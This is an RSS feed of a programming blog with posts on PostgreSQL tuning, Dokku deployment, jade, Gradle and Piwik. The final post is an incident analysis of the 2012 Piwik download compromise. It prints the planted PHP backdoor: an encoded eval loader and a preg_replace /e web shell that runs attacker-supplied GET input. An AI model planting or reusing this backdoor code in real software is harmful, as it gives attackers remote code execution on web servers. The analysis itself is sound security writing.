<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[geekmonkey]]></title><description><![CDATA[Programming · Research · Technology]]></description><link>http://geekmonkey.org/</link><image><url>http://geekmonkey.org/favicon.png</url><title>geekmonkey</title><link>http://geekmonkey.org/</link></image><generator>Ghost 2.9</generator><lastBuildDate>Tue, 03 Sep 2019 17:59:44 GMT</lastBuildDate><atom:link href="http://geekmonkey.org/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Optimizing PostgreSQL queries using pg_stat_statements]]></title><description><![CDATA[Postgres comes with a number of really powerful tools to help analyze query and overall database performance. Here's how I usually go about finding and improving query performance.]]></description><link>http://geekmonkey.org/2017/11/optimizing-postgresql-queries-using-pg_stat_statements-and-pg_buffercache/</link><guid isPermaLink="false">5a06ccc164686f7d135383d5</guid><category><![CDATA[PostgreSQL]]></category><dc:creator><![CDATA[Fabian Becker]]></dc:creator><pubDate>Mon, 13 Nov 2017 11:12:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1431499012454-31a9601150c9?ixlib=rb-0.3.5&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;s=72d8404b24804d8d5643b3fa4a0681de" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1431499012454-31a9601150c9?ixlib=rb-0.3.5&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=1080&fit=max&s=72d8404b24804d8d5643b3fa4a0681de" alt="Optimizing PostgreSQL queries using pg_stat_statements"><p>Postgres comes with a number of really powerful tools to help analyze query and overall database performance. Here's how I usually go about finding and improving query performance.</p>
<h2 id="pg_stat_statements">pg_stat_statements</h2>
<p>This extension is extremely powerful. It normalizes queries and logs their performance. What is query normalization, you ask?</p>
<p>Let's take a simple query like:</p>
<pre><code class="language-sql">SELECT * FROM users AS u JOIN messages AS m ON u.id = m.user_id WHERE u.name = 'geekmonkey';
</code></pre>
<p>It's easy to imagine this query also being performed for other users (where <code>u.name</code> differs). Query normalization takes a query and abstracts the variable bits so that similar queries can be grouped together. Above query might be represented as:</p>
<pre><code class="language-sql">SELECT * FROM users AS u JOIN messages AS m ON u.id = m.user_id WHERE u.name = $1;
</code></pre>
<p>The <a href="https://www.postgresql.org/docs/current/static/pgstatstatements.html">pg_stat_statements</a> extension has been available in Postgres for a long time. Query normalisation was only added in version 9.2 however. Both <a href="https://devcenter.heroku.com/articles/heroku-postgres-extensions-postgis-full-text-search#pg_stat_statements">Heroku</a> and<br>
<a href="http://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_PostgreSQL.html#PostgreSQL.Concepts.General.FeatureSupport.Extensions.96x">AWS RDS</a> come with support for the extension and enabling it is as easy as executing <code>CREATE EXTENSION pg_stat_statements</code>.</p>
<p>After enabling the extension it is advisable to let it run for a while so that it captures realistic production traffic. Note that the extension won't really help you in development or staging environments as those rarely experience comparable load nor have the same amount of data.</p>
<pre><code class="language-sql">SELECT rolname,
    calls,
    total_time,
    mean_time,
    max_time,
    stddev_time,
    rows,
    regexp_replace(query, '[ \t\n]+', ' ', 'g') AS query_text
FROM pg_stat_statements
JOIN pg_roles r ON r.oid = userid
WHERE calls &gt; 100
AND rolname NOT LIKE '%backup'
ORDER BY mean_time DESC
LIMIT 15;
</code></pre>
<p>The query is an adapted version of the one posted by <a href="https://www.toofishes.net/blog/concise-summary-query-pg_stat_statements/">Dan McGee</a>. I'm using it in a slightly modified way to also display the maximum query time and standard deviation. This query not only helps you identify slow queries, but also queries where performance varies significantly.</p>
<p><img src="http://geekmonkey.org/content/images/2017/11/postgres-query-performance.png" alt="Optimizing PostgreSQL queries using pg_stat_statements"></p>
<p>Generally you should aim for queries to perform in less than 100ms. The screenshot above shows a number of queries that greatly exceed 100ms. Now, it may be tempting to jump on the first query in that list and try to optimize it. After all a mean execution time of over 4 seconds is pretty bad. What about the number of calls though?</p>
<p>Looking at the number of calls (or total_time, since <code>total_time = mean_time * calls</code>) gives us a better idea of how relevant a query is. You can make bigger gains by focusing on more frequently executed.</p>
<p>You will notice that I'm also selecting the <code>stddev_time</code>, the standard deviation of time spent executing a query. This metric is incredibly helpful determining whether a query is performing badly in general (low deviation) or sometimes spikes (high deviation). Together with <code>max_time</code> (the maximum time the query needed to execute) this may give a hint to the cause of the query's performance.</p>
<p>Once I have identified a query here are the steps I take:</p>
<ul>
<li>Reconstruct the query using actual values. In other words, I take the normalized query and plug in values.</li>
<li>Run <code>EXPLAIN ANALYZE</code> on the query to understand how the query is executed.</li>
<li>Identify the slowest parts of the query and look for missing indices.</li>
<li>Check if and how the table is <code>CLUSTER</code>ed.</li>
</ul>
<p>There are plenty of ways to continue from there, some of which I'll highlight in a future post about <code>pg_buffercache</code>.</p>
]]></content:encoded></item><item><title><![CDATA[Deploying your Rails 5 apps to Dokku - Part 1]]></title><description><![CDATA[<p>In this tutorial we will be using a DigitalOcean Droplet to install and run dokku and deploy a Rails app to it.</p>
<p>After reading this tutorial, you will be able to:</p>
<ul>
<li>Set up a DigitalOcean droplet using dokku</li>
<li>Install a dokku plugin to run your database</li>
<li>Deploy a Rails app</li></ul>]]></description><link>http://geekmonkey.org/2017/10/deploying-your-rails-5-apps-to-dokku-part-1/</link><guid isPermaLink="false">5a01b4391f6c7736cb307d78</guid><category><![CDATA[Ruby on Rails]]></category><category><![CDATA[Dokku]]></category><category><![CDATA[PostgreSQL]]></category><dc:creator><![CDATA[Fabian Becker]]></dc:creator><pubDate>Wed, 25 Oct 2017 12:38:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1494412552100-42e4e7a74ec6?ixlib=rb-0.3.5&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;s=91335c19f74feab9379aaa14b702b9b1" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1494412552100-42e4e7a74ec6?ixlib=rb-0.3.5&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=1080&fit=max&s=91335c19f74feab9379aaa14b702b9b1" alt="Deploying your Rails 5 apps to Dokku - Part 1"><p>In this tutorial we will be using a DigitalOcean Droplet to install and run dokku and deploy a Rails app to it.</p>
<p>After reading this tutorial, you will be able to:</p>
<ul>
<li>Set up a DigitalOcean droplet using dokku</li>
<li>Install a dokku plugin to run your database</li>
<li>Deploy a Rails app to your server and automatically run migrations</li>
<li>Set up SSL with Letsencrypt</li>
</ul>
<h3 id="digitalocean">DigitalOcean</h3>
<p>I'm a big fan of DigitalOcean because of their Open Source friendliness and easy of setup. They also provide excellent documentation for the most common tasks.</p>
<p>You can get a <a href="https://m.do.co/c/4764edadf5df">$10 DigitalOcean credit</a> by signing up with the link provided here.</p>
<p>I suggest following their excellent <a href="https://www.digitalocean.com/community/tutorials/how-to-create-your-first-digitalocean-droplet">&quot;How to create your first DigitalOcean droplet&quot;</a> setup tutorial. Once you've set up your droplet, continue with the next section.</p>
<p>For the purpose of this tutorial, I suggest chosing at least the $10/mo droplet on a Ubuntu 16.04 (or newer).</p>
<h3 id="connectingtoyourdroplet">Connecting to your droplet</h3>
<p>In order to connect to your droplet via SSH, open a terminal window and connect to your droplet, like this:</p>
<pre><code>ssh root@your-droplet-ip
</code></pre>
<h3 id="installingdokku">Installing Dokku</h3>
<p>These days Heroku has become an industry default when deploying and running apps. For small businesses and developers it can however often be an expensive undertaking. Dokku provides you with a toolkit to host and run your own infrastrucure in a very similar way to Heroku.</p>
<p>Install the latest stable Dokku release:</p>
<pre><code>wget https://raw.githubusercontent.com/dokku/dokku/v0.10.5/bootstrap.sh
DOKKU_TAG=v0.10.5 bash bootstrap.sh
</code></pre>
<p>This will install a lot of dependencies, including Docker which Dokku is going to orchestrate for you. It also starts a web interface which will let you finish the set up. Go to <code>http://your-droplet-ip</code> in order to access it.</p>
<p><img src="http://geekmonkey.org/content/images/2017/10/dokku-web-interface.png" alt="Deploying your Rails 5 apps to Dokku - Part 1"></p>
<p>Feel free to just hit &quot;Finish Setup&quot; here.</p>
<h3 id="createyourdokkuapp">Create your dokku app</h3>
<p>In order to create your first app with dokku you can use the dokku cli.</p>
<pre><code>dokku apps:create my-app
</code></pre>
<p>Not good with names or miss heroku's name generator? Fear not! You can use <a href="http://kevinmlawson.com/herokuname/">this website</a> to generate amazing names like <em>falling-fire-5543</em>.</p>
<p>Now that we have successfully created our first app it's time to add a database. In this tutorial we are going to use Postgres.</p>
<h4 id="addapostgresdatabase">Add a postgres database</h4>
<p>Gladly dokku provides an official <a href="https://github.com/dokku/dokku-postgres">Postgres plugin</a> that we can use:</p>
<pre><code>dokku plugin:install https://github.com/dokku/dokku-postgres.git postgres
</code></pre>
<p>Do note that the plugin is still in beta. I've personally found it to be working well for my needs. It even comes with an automatic way of backing up your postgres instance to S3.</p>
<p>Now let's create a new database instance:</p>
<pre><code>export POSTGRES_IMAGE_VERSION=&quot;10.0&quot;
dokku postgres:create my-app-production
</code></pre>
<p>This will instantiate a new Postgres 10.0 instance. In order to use this new instance we need to link it to our app:</p>
<pre><code>dokku postgres:link my-app-production my-app
</code></pre>
<p><strong>Note:</strong> This will restart your app. However, since we've not yet deployed our app this should be no problem.</p>
<p>Linking the database instance to your app will add an environment variable. You can view this by calling <code>dokku config</code> for your app:</p>
<pre><code>dokku config my-app
</code></pre>
<p>You should see an environment variable called <code>DATABASE_URL</code> on your app. We will use this variable in our Rails application to connect to the database server.</p>
<h2 id="createanewrailsapp">Create a new Rails App</h2>
<p>Everything in this section is run locally and not on your dokku install!</p>
<p>Let's start by creating a new rails app with postgresql as our default database:</p>
<pre><code>rails new my-app --database=postgresql
</code></pre>
<p>This will create an empty Rails app. Run <code>rails db:create</code> to create your app's development and test databases (this is assuming you have postgres running locally - check out <a href="https://postgresapp.com/">Postgres.app</a> if you don't).</p>
<p>As mentioned earlier, dokku has added an environment variable with the database connection string for us. We need to make sure Rails will use the environment variable when running in production. Open up <code>config/database.yml</code>, find the <code>production:</code> section and change it to:</p>
<pre><code class="language-yaml">production:
  &lt;&lt;: *default
  url: &lt;%= ENV['DATABASE_URL'] %&gt;
</code></pre>
<p>Finally, let's make sure that our Rails app boots correctly by running <code>rails s</code>. You should see output confirming that the app is running locally on port 3000. Head over to <code>http://localhost:3000</code>.</p>
<p>You should see the Rails welcome page:</p>
<p><img src="http://geekmonkey.org/content/images/2017/10/rails-welcome-page.png" alt="Deploying your Rails 5 apps to Dokku - Part 1"></p>
<p>Make sure to commit all your local changes to the git repo:</p>
<pre><code>git add -A
git commit -m &quot;Initial commit&quot;
</code></pre>
<h3 id="deployingtodokku">Deploying to Dokku</h3>
<p>Now that we're all set we can finally deploy to dokku. First, we need to add our dokku instance as a git remote. Yep, your read that right - dokku acts as a git remote.</p>
<pre><code>git remote add dokku dokku@your-droplet-ip:my-app
</code></pre>
<p>Now we can deploy by pushing to the new remote:</p>
<pre><code>git push dokku master
</code></pre>
<p>You should see logging output from dokku as it is going through the steps of installing your app's dependencies.</p>
<pre><code>git push dokku master
Counting objects: 84, done.
Delta compression using up to 4 threads.
Compressing objects: 100% (70/70), done.
Writing objects: 100% (84/84), 21.70 KiB | 0 bytes/s, done.
Total 84 (delta 2), reused 0 (delta 0)
-----&gt; Cleaning up...
-----&gt; Building my-app from herokuish...
-----&gt; Setting config vars
       CURL_CONNECT_TIMEOUT: 90
-----&gt; Setting config vars
       CURL_TIMEOUT: 60
-----&gt; Adding BUILD_ENV to build environment...
-----&gt; Warning: Multiple default buildpacks reported the ability to handle this app. The first buildpack in the list below will be used.
       Detected buildpacks: ruby nodejs
-----&gt; Ruby app detected
-----&gt; Compiling Ruby/Rails
-----&gt; Using Ruby version: ruby-2.3.4
-----&gt; Installing dependencies using bundler 1.15.2
       Running: bundle install --without development:
       [..]
-----&gt; Attempting to run scripts.dokku.postdeploy from app.json (if defined)
=====&gt; Application deployed:
       http://your-droplet-ip:port
</code></pre>
<p>Two things of note here:</p>
<ul>
<li>Dokku automatically detects our Ruby app and runs <code>bundle install</code> for us.</li>
<li>Our app is booted and runs on a non-privileged port</li>
</ul>
<p>You can now go to the URL in the output and see your app running.</p>
<hr>
<p>In part 2 of this series we will talk about:</p>
<ul>
<li>How to automatically run migrations</li>
<li>How to add a domain name to your app</li>
<li>How to add SSL using Letsencrypt</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Using layouts with jade in express.js]]></title><description><![CDATA[<p>Recently I've been working on a side project[^1] of mine and decided to make use of the jade template engine[^2]. Jade provides nice syntax abstraction over HTML and is the default template engine for express.js<sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup>.</p>
<p>Previous versions of jade/express allowed for automatically loading a layout</p>]]></description><link>http://geekmonkey.org/2016/01/using-layouts-with-jade-in-express-js/</link><guid isPermaLink="false">5a01b4391f6c7736cb307d77</guid><dc:creator><![CDATA[Fabian Becker]]></dc:creator><pubDate>Mon, 25 Jan 2016 09:33:45 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1506367289495-02a78c329501?ixlib=rb-0.3.5&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;s=872655ecaae63b9ec9e1782679a975e3" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1506367289495-02a78c329501?ixlib=rb-0.3.5&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=1080&fit=max&s=872655ecaae63b9ec9e1782679a975e3" alt="Using layouts with jade in express.js"><p>Recently I've been working on a side project[^1] of mine and decided to make use of the jade template engine[^2]. Jade provides nice syntax abstraction over HTML and is the default template engine for express.js<sup class="footnote-ref"><a href="#fn1" id="fnref1">[1]</a></sup>.</p>
<p>Previous versions of jade/express allowed for automatically loading a layout file for all templates you render. It was possible to deactivate this behaviour by setting <code>view options</code> on your express app:</p>
<pre><code class="language-js">app.set('view options', {
  layout: false
});
</code></pre>
<p>More recent versions of express do not support this anymore. However, jade is a powerful template language and allows extending other templates and defining blocks. This is exactly how you can define a default layout and use it in other templates.</p>
<pre><code class="language-jade">//- layout.jade
doctype html
html
  head
    block title
      title The title
    link(href='/css/main.css', rel='stylesheet', type='text/css')
  body
    #content
      block content
    block footer
      footer
        span Copyright %year% 
</code></pre>
<p>Note that we have defined three blocks here. There is a block called <code>title</code> that can be used to change the title based on context and has a default title. The <code>content</code> and <code>footer</code> blocks can be used to define the main content and an optional footer.</p>
<p>Here is how to use the layout and those blocks in your other templates:</p>
<pre><code class="language-jade">//- posts.jade
extends ./layout

block title
  title Post listing

block content
  h1 Posts
  p Here's a list of all blog posts
</code></pre>
<p><code>extends</code> and <code>block</code> are very powerful features of jade and can be used to build extremely complex hierarchies of templates. Enjoy!</p>
<hr class="footnotes-sep">
<section class="footnotes">
<ol class="footnotes-list">
<li id="fn1" class="footnote-item"><p><a href="http://expressjs.com/">http://expressjs.com/</a> <a href="#fnref1" class="footnote-backref">↩︎</a></p>
</li>
</ol>
</section>
]]></content:encoded></item><item><title><![CDATA[Migrating from Maven to Gradle]]></title><description><![CDATA[<p>Java has a long history of using XML configurations for everything. If you are like me, you do not enjoy writing or editing XML files as they are almost never human readable.</p>
<p>Adding plugins to your Maven <code>pom.xml</code> usually means copying an XML snippet from a page and manually</p>]]></description><link>http://geekmonkey.org/2015/12/migrating-from-maven-to-gradle/</link><guid isPermaLink="false">5a01b4391f6c7736cb307d76</guid><category><![CDATA[Java]]></category><category><![CDATA[Maven]]></category><category><![CDATA[Gradle]]></category><dc:creator><![CDATA[Fabian Becker]]></dc:creator><pubDate>Sat, 12 Dec 2015 10:41:41 GMT</pubDate><content:encoded><![CDATA[<p>Java has a long history of using XML configurations for everything. If you are like me, you do not enjoy writing or editing XML files as they are almost never human readable.</p>
<p>Adding plugins to your Maven <code>pom.xml</code> usually means copying an XML snippet from a page and manually tinkering with it until it does what you want it to do. I finally had enough of that and decided to look for an alternative. Having recently read about <a href="http://gradle.org/">gradle</a> I decided to give it a shot.</p>
<p>I am not going to talk about why I chose gradle over some other build system. If you need a comparison of existing build systems for Java, <a href="http://www.streamhead.com/maven-alternatives/">this article</a> provides a good list.</p>
<h2 id="installinggradle">Installing Gradle</h2>
<p>I'm mostly developing on Mac OS X so installing gradle is as simple as:</p>
<pre><code class="language-bash">brew update
brew install gradle
</code></pre>
<p>After that, you will have gradle installed. <code>gradle -v</code> should show you the information about the version of gradle you have installed.</p>
<h3 id="convertingpomxmltobuildgradle">Converting pom.xml to build.gradle</h3>
<p>Head over to your Maven project and execute <code>gradle init</code>. This will generate a bunch of files for you, most importantly a <code>build.gradle</code> which you can now use to run all your builds. <code>gradle init</code> automatically detects the <code>pom.xml</code> and creates a gradle build with the java and maven plugin loaded. Existing Maven dependencies are automatically converted and added to your gradle build file.</p>
<h4 id="jarwithdependencies">Jar-with-dependencies</h4>
<p>For distribution, it is sometimes easier to distribute a single <code>.jar</code>-File instead of a jar and all its dependencies. With Maven, we can build a so-called 'jar-with-dependencies'. To do the same in gradle you can use the code below:</p>
<pre><code class="language-groovy">// Create a single Jar with all dependencies
task bigJar(type: Jar) {
    manifest {
        attributes 'Implementation-Title': 'Gradle Jar File Example',
        	'Implementation-Version': version,
        	'Main-Class': 'eva2.gui.Main'
    }
    baseName = project.name + '-all'
    from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } }
    with jar
}
</code></pre>
<p>Simply add this to your <code>build.gradle</code> file and adjust the manifest attributes to your liking. You can then run <code>gradle bigJar</code> to execute the task.</p>
]]></content:encoded></item><item><title><![CDATA[Automatically create Annotations for your Feeds in Piwik]]></title><description><![CDATA[<p>Piwik 1.10 introduced annotations that you can add to all of your graphs. Annotations can help you in understanding your traffic and mark relevant dates that can explain traffic peaks. Piwik's simple plugin API allows developers to build and add new features easily to Piwik.</p>
<h2 id="feedannotation">FeedAnnotation</h2>
<p>New articles on</p>]]></description><link>http://geekmonkey.org/2013/03/automatically-create-annotations-for-your-feeds-in-piwik/</link><guid isPermaLink="false">5a01b4391f6c7736cb307d73</guid><category><![CDATA[Piwik]]></category><category><![CDATA[Plugin]]></category><category><![CDATA[feed]]></category><dc:creator><![CDATA[Fabian Becker]]></dc:creator><pubDate>Sat, 16 Mar 2013 11:00:00 GMT</pubDate><media:content url="http://geekmonkey.org/content/images/2017/01/feedannotations.png" medium="image"/><content:encoded><![CDATA[<img src="http://geekmonkey.org/content/images/2017/01/feedannotations.png" alt="Automatically create Annotations for your Feeds in Piwik"><p>Piwik 1.10 introduced annotations that you can add to all of your graphs. Annotations can help you in understanding your traffic and mark relevant dates that can explain traffic peaks. Piwik's simple plugin API allows developers to build and add new features easily to Piwik.</p>
<h2 id="feedannotation">FeedAnnotation</h2>
<p>New articles on a blog can attract a lot of visitors and will have an impact on the traffic of your website. If you are author of a blog you most likely offer an RSS or Atom-Feed to your users, so users can easily see when a new article or post is released. In Piwik you can use annotations to mark the release of a new article and later use the annotation for traffic analysis.</p>
<p><img src="http://geekmonkey.org/content/images/2017/01/annotations-view-1.png" alt="Automatically create Annotations for your Feeds in Piwik"></p>
<p>Manually adding annotations for new articles can quickly become a pain so it would be a good idea to let Piwik automatically fetch your RSS Feed and let it create annotations for you. The FeedAnnotation plugin solves that problem for you.</p>
<h2 id="installation">Installation</h2>
<p>First clone the plugin into the plugins directory of your Piwik installation.</p>
<pre><code class="language-cmd">cd plugins/
git clone https://github.com/halfdan/piwik-feedannotation-plugin.git FeedAnnotation
</code></pre>
<p>You can alternatively also use the ZIP download provided by Github.</p>
<p>Now log in as superuser into your Piwik installation and activate the plugin under Settings→Plugins. This will create a new database table that stores the configured feeds.</p>
<p>Users with admin access to at least one website can now add and remove feeds under Settings→Settings→Feed Annotations. The plugin uses the Piwik scheduler and runs once a day to add new feed items as annotations.</p>
<p><img src="http://geekmonkey.org/content/images/2017/01/manage-feeds.png" alt="Automatically create Annotations for your Feeds in Piwik"></p>
<h2 id="resources">Resources</h2>
<ul>
<li><a href="http://geekmonkey.org/articles/34-how-to-write-a-piwik-plugin">How to write a Piwik plugin</a></li>
<li><a href="http://piwik.org/docs/plugins/">Plugin Development</a></li>
<li><a href="http://github.com/halfdan/piwik-feedannotation-plugin">FeedAnnotation plugin</a></li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Annotations and Page Overlay in Piwik 1.10]]></title><description><![CDATA[<p>Piwik 1.10 is about to be released and it is time to take a look at the new major features coming with it. Version 1.9 was released in October 2012, with the latest patch 1.9.2 on November 27th. Since then the developers have implemented incredible new</p>]]></description><link>http://geekmonkey.org/2013/01/annotations-and-page-overlay-in-piwik-1-10/</link><guid isPermaLink="false">5a01b4391f6c7736cb307d72</guid><category><![CDATA[Piwik]]></category><category><![CDATA[Plugin]]></category><category><![CDATA[SEO]]></category><dc:creator><![CDATA[Fabian Becker]]></dc:creator><pubDate>Tue, 01 Jan 2013 11:00:00 GMT</pubDate><media:content url="http://geekmonkey.org/content/images/2017/01/110piwik.png" medium="image"/><content:encoded><![CDATA[<img src="http://geekmonkey.org/content/images/2017/01/110piwik.png" alt="Annotations and Page Overlay in Piwik 1.10"><p>Piwik 1.10 is about to be released and it is time to take a look at the new major features coming with it. Version 1.9 was released in October 2012, with the latest patch 1.9.2 on November 27th. Since then the developers have implemented incredible new features that will make Piwik 1.10 a very important release.</p>
<h1 id="annotations">Annotations</h1>
<p>Annotations are little text markers for specific dates. You can create an annotation to mark the release of a new article and use it to gain a better understanding on what events on your website have an influence on the number of visits.</p>
<p><img src="http://geekmonkey.org/content/images/2017/01/annotations-widget.png" alt="Annotations and Page Overlay in Piwik 1.10"></p>
<p>Annotations can be created in the UI for a specific date and are then shown in the &quot;Visits Over Time&quot; widget. It is also possible to &quot;Star&quot; an annotation which it is very useful to move up annotations in the list and always see them as they can be more important.</p>
<p><img src="http://geekmonkey.org/content/images/2017/01/annotations-view.png" alt="Annotations and Page Overlay in Piwik 1.10"></p>
<p>You can however automate the process of creating annotations and use the Piwik API to create, modify or delete annotations whenever something important happens on your website.</p>
<p><img src="http://geekmonkey.org/content/images/2017/01/annotations-api.png" alt="Annotations and Page Overlay in Piwik 1.10"></p>
<p>The Piwik Annotations API is simple to use and there is a client for almost any modern programming language available (see <a href="http://piwik.org/integrate/">Integrate your website or app with Piwik</a>). Annotations were proposed in <a href="http://dev.piwik.org/trac/ticket/1253">this ticket</a>.</p>
<h1 id="pageoverlay">Page Overlay</h1>
<p><a href="http://analytics.blogspot.de/2010/10/introducing-in-page-analytics-visual.html">In-Page Analytics</a> were introduced to Google Analytics almost three years ago. With In-Page Analytics you can browse your website with the analytics data superimposed on your website. This gives you a much better understanding on how people browse your website and on what links they tend to click.</p>
<p>With version 1.10 this great feature is introduced to Piwik as Page Overlay. Page Overlay</p>
<p><img src="http://geekmonkey.org/content/images/2017/01/page-overlay-icon.png" alt="Annotations and Page Overlay in Piwik 1.10"></p>
<p>You will find &quot;Page Overlay&quot; as a new icon displayed in every page report. Clicking the icon will open up the &quot;Page Overlay&quot; report for the page you selected and show you your website on the right side, additional analytics data on the left side. You can easily change the data range and analyze how the behavior of your visitors change over time.</p>
<p><img src="http://geekmonkey.org/content/images/2017/01/page-overlay.png" alt="Annotations and Page Overlay in Piwik 1.10"></p>
<p>The bubbles show you the percentage of clicks that users perform on a specific link (note that the three &quot;80%&quot; bubbles point to the same link). Hovering a link will show additional information on how many visitors clicked the link.</p>
<p>If you would like to know how this is done from a technical view point I suggest you have look at the <a href="http://stackoverflow.com/questions/5210897/how-does-google-analytics-in-page-analytics-work/">explanation</a> on how Google Analytics does this. You can also have a look at the tickets <a href="http://dev.piwik.org/trac/ticket/2465">#2465</a> and <a href="http://dev.piwik.org/trac/ticket/3530">#3530</a> for this feature.</p>
<h1 id="geoipautoupdate">GeoIP auto update</h1>
<p>With Piwik 1.9 the GeoIP plugin was merged into the core. In order to use GeoIP you had several options, one which required you to manually download the GeoIP database from MaxMind and make it available to Piwik. The problem with GeoIP databases is that IP ranges are reallocated quite often and the quality of a GeoIP database continuously decreases over time.</p>
<p>In Piwik 1.9 it was not possible to automatically update the GeoIP database periodically which made maintaining the database a recurring task you had to remember to ensure a good quality of your analytics.</p>
<p><img src="http://geekmonkey.org/content/images/2017/01/geoip-autoupdate.png" alt="Annotations and Page Overlay in Piwik 1.10"></p>
<p>Fortunately the developers felt the need for an auto update feature and implemented it for Piwik 1.10. You can now configure Piwik to auto update the free GeoIP database montly or weekly and optionally even configure it to use the commercial and more accurate GeoIP database if you purchased one from MaxMind.</p>
<h1 id="socialwidget">Social Widget</h1>
<p>The social widget in Piwik 1.10 will help you to analyze how your website is present in social media. You can add the widget to your dashboard or find it directly under the Referrers &gt; Websites &amp; Social tab.</p>
<p><img src="http://geekmonkey.org/content/images/2017/01/social-network-metrics.png" alt="Annotations and Page Overlay in Piwik 1.10"></p>
<p>To read more about the social widget have a look at ticket <a href="http://dev.piwik.org/trac/ticket/2791">#2791</a>.</p>
<h1 id="conclusion">Conclusion</h1>
<p>Piwik, since its first release almost 5 years ago, has gained a lot of popularity and is ranked among the best free alternatives to Google Analytics. Features like Annotations and Page Overlay have been requested by many people that wanted to switch from GA to Piwik and the lack of those features was even a show-stopper for some. Piwik 1.10 finally introduces those commonly requested features and will help the project to attract more people that currently use GA or other analytics solutions.</p>
<p>Annotations will play an important role in understanding how events like new articles or a referring article on Slashdot influence your traffic.</p>
<p>Page Overlay helps you to get a visual understanding on how visitors traverse through your pages and on what links they click the most. You can learn that some parts of your website are visually more appealing to the visitors than others and try to make use of those parts to optimize your page even further.</p>
]]></content:encoded></item><item><title><![CDATA[The anatomy of an exploit]]></title><description><![CDATA[<p>On the 26th of November 2012 the downloadable archive of Piwik 1.9.2 was compromised for a about eight hours. There are a few things that we can learn from this attack and conclusions we can draw to mitigate or even prevent this in the future.</p>
<h1 id="attackanalysis">Attack analysis</h1>
<p>The</p>]]></description><link>http://geekmonkey.org/2012/11/the-anatomy-of-an-exploit/</link><guid isPermaLink="false">5a01b4391f6c7736cb307d71</guid><category><![CDATA[Piwik]]></category><category><![CDATA[exploit]]></category><category><![CDATA[security]]></category><category><![CDATA[backdoor]]></category><dc:creator><![CDATA[Fabian Becker]]></dc:creator><pubDate>Wed, 28 Nov 2012 11:00:00 GMT</pubDate><media:content url="http://geekmonkey.org/content/images/2017/01/exploit-piwik.png" medium="image"/><content:encoded><![CDATA[<img src="http://geekmonkey.org/content/images/2017/01/exploit-piwik.png" alt="The anatomy of an exploit"><p>On the 26th of November 2012 the downloadable archive of Piwik 1.9.2 was compromised for a about eight hours. There are a few things that we can learn from this attack and conclusions we can draw to mitigate or even prevent this in the future.</p>
<h1 id="attackanalysis">Attack analysis</h1>
<p>The attack was first disclosed to the members of the Piwik development team and then posted in the <a href="http://forum.piwik.org/read.php?2,97666">Piwik Forum</a> by a user named <strong>schnoog</strong>.</p>
<p>The user reported, that the downloaded archive from <strong>piwik.org</strong> contained malicious code in <em>core/Loader.php</em>. He highlighted a line containing a base64 encoded and gzip compressed string which is typical for these kind of attacks.</p>
<pre><code class="language-php">eval(gzuncompress(base64_decode(&quot;...&quot;)));
</code></pre>
<p>The decoded string turns out to consist of two functions that try to send the URL of the webhost to a script that is hosted on <em>prostoivse.com</em>. A user in the forum pointed out that the domain name, despite being registered by a person in the US, translates from russian to <em>its just simple</em>. Google Translate detects <em>prostoivse</em> as slovenian <em>prosto vse</em>, which stands for <em>free for all</em>. It seems, that Piwik has been attacked by some russian hackers.</p>
<p><img src="http://geekmonkey.org/content/images/2017/01/exploit-piwik-1.png" alt="The anatomy of an exploit"></p>
<p><a href="http://arstechnica.com/security/2012/11/malicious-code-added-to-open-source-piwik-following-website-compromise/">Ars Technica</a> also covers this attack in detail and points out, that the IP behind the domain name has previously been used by online scammers. While the signs point to hackers with a russian background, the <a href="http://whois.arin.net/rest/net/NET-50-87-0-0-1">IP</a> and the domain name belong to addresses in the US.</p>
<p>The lines before above mentioned <em>eval</em> function are a little more scary:</p>
<pre><code class="language-php">Error_Reporting(0);       if(isset($_GET['g']) &amp;&amp; isset($_GET['s'])) {
preg_replace(&quot;/(.+)/e&quot;, $_GET['g'], 'dwm');     exit;
}
</code></pre>
<p><em>preg_replace</em> is a commonly used function in PHP scripts and is used to perform a search and replace using a regular expression. The <em>/e</em> <a href="http://php.net/manual/en/reference.pcre.pattern.modifiers.php">modifier</a> will make PHP evaluate code in the replacement string. This modifier will be removed in PHP 5.5 and is deprecated in newer versions of PHP as it is a known attack vector in PHP applications.</p>
<blockquote>
<p>Use of this modifier is discouraged, as it can easily introduce security vulnerabilites.</p>
</blockquote>
<p>Since error reporting is deactivated by the malicious code, one will not even see deprecation warnings in the log file.</p>
<p>After the attack was disclosed, the Piwik team tried to figure out how the attack was possible. In their follow up <a href="http://geekmonkey.org/2012/11/the-anatomy-of-an-exploit/piwik.org/blog/2012/11/security-report-piwik-org-webserver-hacked-for-a-few-hours-on-2012-nov-26th/">blog post</a>, the developers explained how the attacker got access to the webserver:</p>
<blockquote>
<p>Attacker used a security issue in a WordPress plugin we were using, and gained partial access to the piwik.org server.</p>
</blockquote>
<h2 id="piwikintegritycheck">Piwik Integrity check</h2>
<p>Piwik already comes with a built-in integrity check of all its files, that is executed whenever a user installs or updates a Piwik instance. A user in the Piwik Forum confirmed that the integrity check detected the malicious code change and showed a warning during the installation process. This however does not prevent the user from proceeding with the installation or the upgrade.</p>
